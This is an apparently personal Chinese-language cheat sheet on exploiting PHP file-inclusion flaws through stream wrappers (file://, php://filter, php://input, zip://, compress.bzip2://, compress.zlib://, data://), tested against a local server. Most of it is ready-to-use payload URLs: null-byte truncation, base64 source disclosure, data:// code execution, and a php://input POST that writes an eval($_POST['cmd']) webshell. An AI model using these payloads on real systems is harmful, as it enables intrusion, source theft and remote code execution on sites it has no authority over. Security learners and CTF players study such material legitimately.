php伪协议

php伪协议

文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file 。

file.php

<?php
include($_GET['file'])
?>

PHP版本<=5.2的时候可以使用%00截断。

如下所示:

<?php
include($_GET['file'].’.php’)
?>

http://127.0.0.1/test.php?file=file:///c:/flag.txt%00

1.file协议

  • 使用方法:
  • file:// [文件的绝对路径和文件名]
  • http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
  • /index.php?PATH=php://filter/read=convert.base64-decode/resource=index.php
    /index.php?PATH=php://filter/convert.base64-encode/resource=index.php
  • php伪协议
  • 倘若你要读取PHP的程序需要使用base64加密。
  • payload
    • /index.php?PATH=php://filter/read=convert.base64-decode/resource=index.php
    • /index.php?PATH=php://filter/convert.base64-encode/resource=index.php

2.php://input

  • php.ini里allow_url_include:on
  • 经过测试好像只有5.2.17这个版本可以。
  • http://127.0.0.1/file.php?file=php://input
    • POST数据提交内容为PHP代码
    • 也可以POST如下内容生成一句话: <?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];)?>');?>
  • php伪协议

zip://协议

  • 使用方法:
  • zip://archive.zip#dir/file.txt
  • zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
  • 测试现象:
  • http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
  • 先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
  • 由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

我自己测试这个方法是测试失败了,不知道为啥。 

php伪协议.

后面的协议都大同小异直接freebuf copy了。

【bzip2://协议】

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

 php伪协议

【zlib://协议】

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

 php伪协议

【data://协议】

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。

 php伪协议

测试现象:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以:

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 php伪协议